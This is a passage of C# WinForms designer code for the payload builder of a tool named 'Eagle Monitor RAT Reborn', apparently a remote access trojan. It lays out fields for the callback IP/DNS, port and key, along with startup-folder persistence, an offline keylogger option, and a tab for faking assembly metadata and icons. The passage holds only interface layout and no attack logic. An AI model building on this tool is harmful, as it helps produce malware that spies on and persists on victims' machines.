System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column22.DefaultCellStyle = dataGridViewCellStyle19;\n            this.Column22.FillWeight = 18F;\n            this.Column22.HeaderText = \"Host\";\n            this.Column22.Name = \"Column22\";\n            this.Column22.ReadOnly = true;\n            this.Column22.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column23\n            // \n            this.Column23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column23.FillWeight = 15F;\n            this.Column23.HeaderText = \"Port\";\n            this.Column23.Name = \"Column23\";\n            this.Column23.ReadOnly = true;\n            // \n            // hostContextMenuStrip\n            // \n            this.hostContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.hostContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.removeHostStripMenuItem});\n            this.hostContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.hostContextMenuStrip.Size = new System.Drawing.Size(130, 38);\n            // \n            // removeHostStripMenuItem\n            // \n            this.removeHostStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeHostStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeHostStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeHostStripMenuItem.Name = \"removeHostStripMenuItem\";\n            this.removeHostStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeHostStripMenuItem.Text = \"Remove\";\n            this.removeHostStripMenuItem.Click += new System.EventHandler(this.removeHostStripMenuItem_Click);\n            // \n            // label5\n            // \n            this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label5.Location = new System.Drawing.Point(60, 13);\n            this.label5.Name = \"label5\";\n            this.label5.Size = new System.Drawing.Size(50, 36);\n            this.label5.TabIndex = 24;\n            this.label5.Text = \"KEY :\";\n            this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // builderKeyGuna2TextBox\n            // \n            this.builderKeyGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.builderKeyGuna2TextBox.Animated = true;\n            this.builderKeyGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.builderKeyGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.builderKeyGuna2TextBox.DefaultText = \"\";\n            this.builderKeyGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.builderKeyGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.builderKeyGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.builderKeyGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.builderKeyGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.builderKeyGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.builderKeyGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.builderKeyGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.builderKeyGuna2TextBox.Location = new System.Drawing.Point(133, 13);\n            this.builderKeyGuna2TextBox.Name = \"builderKeyGuna2TextBox\";\n            this.builderKeyGuna2TextBox.PasswordChar = '\\0';\n            this.builderKeyGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.builderKeyGuna2TextBox.PlaceholderText = \"...\";\n            this.builderKeyGuna2TextBox.SelectedText = \"\";\n            this.builderKeyGuna2TextBox.Size = new System.Drawing.Size(692, 36);\n            this.builderKeyGuna2TextBox.TabIndex = 23;\n            // \n            // label2\n            // \n            this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label2.Location = new System.Drawing.Point(60, 97);\n            this.label2.Name = \"label2\";\n            this.label2.Size = new System.Drawing.Size(50, 36);\n            this.label2.TabIndex = 22;\n            this.label2.Text = \"PORT :\";\n            this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // portGuna2TextBox\n            // \n            this.portGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.portGuna2TextBox.Animated = true;\n            this.portGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.portGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.portGuna2TextBox.DefaultText = \"\";\n            this.portGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.portGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.portGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.portGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.portGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.portGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.portGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.portGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.portGuna2TextBox.Location = new System.Drawing.Point(133, 97);\n            this.portGuna2TextBox.Name = \"portGuna2TextBox\";\n            this.portGuna2TextBox.PasswordChar = '\\0';\n            this.portGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.portGuna2TextBox.PlaceholderText = \"...\";\n            this.portGuna2TextBox.SelectedText = \"\";\n            this.portGuna2TextBox.Size = new System.Drawing.Size(692, 36);\n            this.portGuna2TextBox.TabIndex = 21;\n            // \n            // label3\n            // \n            this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label3.Location = new System.Drawing.Point(60, 55);\n            this.label3.Name = \"label3\";\n            this.label3.Size = new System.Drawing.Size(67, 36);\n            this.label3.TabIndex = 20;\n            this.label3.Text = \"IP/DNS :\";\n            this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // dnsGuna2TextBox\n            // \n            this.dnsGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.dnsGuna2TextBox.Animated = true;\n            this.dnsGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.dnsGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.dnsGuna2TextBox.DefaultText = \"\";\n            this.dnsGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.dnsGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.dnsGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.dnsGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.dnsGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.dnsGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.dnsGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.dnsGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.dnsGuna2TextBox.Location = new System.Drawing.Point(133, 55);\n            this.dnsGuna2TextBox.Name = \"dnsGuna2TextBox\";\n            this.dnsGuna2TextBox.PasswordChar = '\\0';\n            this.dnsGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.dnsGuna2TextBox.PlaceholderText = \"...\";\n            this.dnsGuna2TextBox.SelectedText = \"\";\n            this.dnsGuna2TextBox.Size = new System.Drawing.Size(692, 36);\n            this.dnsGuna2TextBox.TabIndex = 19;\n            // \n            // tabPage7\n            // \n            this.tabPage7.BackColor = System.Drawing.Color.White;\n            this.tabPage7.Controls.Add(this.label21);\n            this.tabPage7.Controls.Add(this.archiGuna2ComboBox);\n            this.tabPage7.Controls.Add(this.label20);\n            this.tabPage7.Controls.Add(this.persistenceMethodGuna2ComboBox);\n            this.tabPage7.Controls.Add(this.label19);\n            this.tabPage7.Controls.Add(this.pathPersistenceGuna2ComboBox);\n            this.tabPage7.Controls.Add(this.vbStubGuna2CheckBox);\n            this.tabPage7.Controls.Add(this.offKeyloguna2CheckBox);\n            this.tabPage7.Controls.Add(this.persistenceGuna2CheckBox);\n            this.tabPage7.Location = new System.Drawing.Point(4, 44);\n            this.tabPage7.Name = \"tabPage7\";\n            this.tabPage7.Size = new System.Drawing.Size(900, 395);\n            this.tabPage7.TabIndex = 1;\n            this.tabPage7.Text = \"Miscellaneous\";\n            // \n            // label21\n            // \n            this.label21.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label21.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label21.Location = new System.Drawing.Point(71, 148);\n            this.label21.Name = \"label21\";\n            this.label21.Size = new System.Drawing.Size(119, 36);\n            this.label21.TabIndex = 65;\n            this.label21.Text = \"Architecture :\";\n            this.label21.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // archiGuna2ComboBox\n            // \n            this.archiGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.archiGuna2ComboBox.Animated = true;\n            this.archiGuna2ComboBox.AutoRoundedCorners = true;\n            this.archiGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.archiGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.archiGuna2ComboBox.BorderRadius = 17;\n            this.archiGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.archiGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.archiGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.archiGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.archiGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.archiGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.archiGuna2ComboBox.ItemHeight = 30;\n            this.archiGuna2ComboBox.Items.AddRange(new object[] {\n            \"anycpu32bitpreferred\",\n            \"anycpu\",\n            \"x86\",\n            \"x64\"});\n            this.archiGuna2ComboBox.Location = new System.Drawing.Point(196, 148);\n            this.archiGuna2ComboBox.Name = \"archiGuna2ComboBox\";\n            this.archiGuna2ComboBox.Size = new System.Drawing.Size(602, 36);\n            this.archiGuna2ComboBox.StartIndex = 0;\n            this.archiGuna2ComboBox.TabIndex = 64;\n            this.archiGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // label20\n            // \n            this.label20.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label20.Location = new System.Drawing.Point(71, 184);\n            this.label20.Name = \"label20\";\n            this.label20.Size = new System.Drawing.Size(119, 36);\n            this.label20.TabIndex = 63;\n            this.label20.Text = \"Persistence method :\";\n            this.label20.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // persistenceMethodGuna2ComboBox\n            // \n            this.persistenceMethodGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.persistenceMethodGuna2ComboBox.Animated = true;\n            this.persistenceMethodGuna2ComboBox.AutoRoundedCorners = true;\n            this.persistenceMethodGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.persistenceMethodGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.persistenceMethodGuna2ComboBox.BorderRadius = 17;\n            this.persistenceMethodGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.persistenceMethodGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.persistenceMethodGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.persistenceMethodGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.persistenceMethodGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.persistenceMethodGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.persistenceMethodGuna2ComboBox.ItemHeight = 30;\n            this.persistenceMethodGuna2ComboBox.Items.AddRange(new object[] {\n            \"Shortcut in startup folder\"});\n            this.persistenceMethodGuna2ComboBox.Location = new System.Drawing.Point(196, 187);\n            this.persistenceMethodGuna2ComboBox.Name = \"persistenceMethodGuna2ComboBox\";\n            this.persistenceMethodGuna2ComboBox.Size = new System.Drawing.Size(602, 36);\n            this.persistenceMethodGuna2ComboBox.StartIndex = 0;\n            this.persistenceMethodGuna2ComboBox.TabIndex = 62;\n            this.persistenceMethodGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // label19\n            // \n            this.label19.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label19.Location = new System.Drawing.Point(70, 241);\n            this.label19.Name = \"label19\";\n            this.label19.Size = new System.Drawing.Size(155, 17);\n            this.label19.TabIndex = 59;\n            this.label19.Text = \"Installation folder :\";\n            this.label19.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            this.label19.Visible = false;\n            // \n            // pathPersistenceGuna2ComboBox\n            // \n            this.pathPersistenceGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n            this.pathPersistenceGuna2ComboBox.Animated = true;\n            this.pathPersistenceGuna2ComboBox.AutoRoundedCorners = true;\n            this.pathPersistenceGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.pathPersistenceGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.pathPersistenceGuna2ComboBox.BorderRadius = 17;\n            this.pathPersistenceGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.pathPersistenceGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.pathPersistenceGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.pathPersistenceGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.pathPersistenceGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.pathPersistenceGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.pathPersistenceGuna2ComboBox.ItemHeight = 30;\n            this.pathPersistenceGuna2ComboBox.Items.AddRange(new object[] {\n            \"Local (Environment.SpecialFolder.ApplicationData)\"});\n            this.pathPersistenceGuna2ComboBox.Location = new System.Drawing.Point(170, 232);\n            this.pathPersistenceGuna2ComboBox.Name = \"pathPersistenceGuna2ComboBox\";\n            this.pathPersistenceGuna2ComboBox.Size = new System.Drawing.Size(628, 36);\n            this.pathPersistenceGuna2ComboBox.StartIndex = 0;\n            this.pathPersistenceGuna2ComboBox.TabIndex = 58;\n            this.pathPersistenceGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            this.pathPersistenceGuna2ComboBox.Visible = false;\n            // \n            // vbStubGuna2CheckBox\n            // \n            this.vbStubGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.vbStubGuna2CheckBox.Animated = true;\n            this.vbStubGuna2CheckBox.AutoSize = true;\n            this.vbStubGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.vbStubGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.vbStubGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.vbStubGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.vbStubGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.vbStubGuna2CheckBox.Location = new System.Drawing.Point(283, 128);\n            this.vbStubGuna2CheckBox.Name = \"vbStubGuna2CheckBox\";\n            this.vbStubGuna2CheckBox.Size = new System.Drawing.Size(111, 17);\n            this.vbStubGuna2CheckBox.TabIndex = 29;\n            this.vbStubGuna2CheckBox.Text = \"Visual Basic Stub\";\n            this.vbStubGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.vbStubGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.vbStubGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.vbStubGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.vbStubGuna2CheckBox.Visible = false;\n            // \n            // offKeyloguna2CheckBox\n            // \n            this.offKeyloguna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.offKeyloguna2CheckBox.Animated = true;\n            this.offKeyloguna2CheckBox.AutoSize = true;\n            this.offKeyloguna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.offKeyloguna2CheckBox.CheckedState.BorderRadius = 0;\n            this.offKeyloguna2CheckBox.CheckedState.BorderThickness = 0;\n            this.offKeyloguna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.offKeyloguna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.offKeyloguna2CheckBox.Location = new System.Drawing.Point(73, 128);\n            this.offKeyloguna2CheckBox.Name = \"offKeyloguna2CheckBox\";\n            this.offKeyloguna2CheckBox.Size = new System.Drawing.Size(116, 17);\n            this.offKeyloguna2CheckBox.TabIndex = 28;\n            this.offKeyloguna2CheckBox.Text = \"Offline Keylogger\";\n            this.offKeyloguna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.offKeyloguna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.offKeyloguna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.offKeyloguna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // persistenceGuna2CheckBox\n            // \n            this.persistenceGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.persistenceGuna2CheckBox.Animated = true;\n            this.persistenceGuna2CheckBox.AutoSize = true;\n            this.persistenceGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.persistenceGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.persistenceGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.persistenceGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.persistenceGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.persistenceGuna2CheckBox.Location = new System.Drawing.Point(195, 128);\n            this.persistenceGuna2CheckBox.Name = \"persistenceGuna2CheckBox\";\n            this.persistenceGuna2CheckBox.Size = new System.Drawing.Size(82, 17);\n            this.persistenceGuna2CheckBox.TabIndex = 27;\n            this.persistenceGuna2CheckBox.Text = \"Persistence\";\n            this.persistenceGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.persistenceGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.persistenceGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.persistenceGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.persistenceGuna2CheckBox.CheckedChanged += new System.EventHandler(this.persistenceGuna2CheckBox_CheckedChanged);\n            // \n            // tabPage8\n            // \n            this.tabPage8.Controls.Add(this.randomizeGuna2Button);\n            this.tabPage8.Controls.Add(this.iconGuna2Button);\n            this.tabPage8.Controls.Add(this.pictureBox1);\n            this.tabPage8.Controls.Add(this.label15);\n            this.tabPage8.Controls.Add(this.productGuna2TextBox);\n            this.tabPage8.Controls.Add(this.productVersionGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label13);\n            this.tabPage8.Controls.Add(this.filenameGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label12);\n            this.tabPage8.Controls.Add(this.fileVersionGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label11);\n            this.tabPage8.Controls.Add(this.copyrightGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label10);\n            this.tabPage8.Controls.Add(this.companyGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label9);\n            this.tabPage8.Controls.Add(this.descriptionGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label8);\n            this.tabPage8.Controls.Add(this.trademarksGuna2TextBox);\n            this.tabPage8.Controls.Add(this.label7);\n            this.tabPage8.Controls.Add(this.label14);\n            this.tabPage8.Location = new System.Drawing.Point(4, 44);\n            this.tabPage8.Name = \"tabPage8\";\n            this.tabPage8.Size = new System.Drawing.Size(900, 395);\n            this.tabPage8.TabIndex = 2;\n            this.tabPage8.Text = \"Assembly\";\n            this.tabPage8.UseVisualStyleBackColor = true;\n            // \n            // randomizeGuna2Button\n            // \n            this.randomizeGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.randomizeGuna2Button.Animated = true;\n            this.randomizeGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.randomizeGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.randomizeGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.randomizeGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.randomizeGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.randomizeGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.randomizeGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.randomizeGuna2Button.Location = new System.Drawing.Point(97, 330);\n            this.randomizeGuna2Button.Name = \"randomizeGuna2Button\";\n            this.randomizeGuna2Button.Size = new System.Drawing.Size(692, 32);\n            this.randomizeGuna2Button.TabIndex = 48;\n            this.randomizeGuna2Button.Text = \"Randomize information\";\n            this.randomizeGuna2Button.Click += new System.EventHandler(this.randomizeGuna2Button_Click);\n            // \n            // iconGuna2Button\n            // \n            this.iconGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.iconGuna2Button.Animated = true;\n            this.iconGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.iconGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.iconGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.iconGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.iconGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.iconGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.iconGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.iconGuna2Button.Location = new System.Drawing.Point(225, 278);\n            this.iconGuna2Button.Name = \"iconGuna2Button\";\n            this.iconGuna2Button.Size = new System.Drawing.Size(564, 32);\n            this.iconGuna2Button.TabIndex = 47;\n            this.iconGuna2Button.Text = \"Browse Icon\";\n            this.iconGuna2Button.Click += new System.EventHandler(this.iconGuna2Button_Click);\n            // \n            // pictureBox1\n            // \n            this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.pictureBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.pictureBox1.Location = new System.Drawing.Point(173, 278);\n            this.pictureBox1.Name = \"pictureBox1\";\n            this.pictureBox1.Size = new System.Drawing.Size(32, 32);\n            this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.pictureBox1.TabIndex = 45;\n            this.pictureBox1.TabStop = false;\n            // \n            // label15\n            // \n            this.label15.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label15.Location = new System.Drawing.Point(94, 278);\n            this.label15.Name = \"label15\";\n            this.label15.Size = new System.Drawing.Size(105, 32);\n            this.label15.TabIndex = 46;\n            this.label15.Text = \"Icon :\";\n            this.label15.TextAlign = 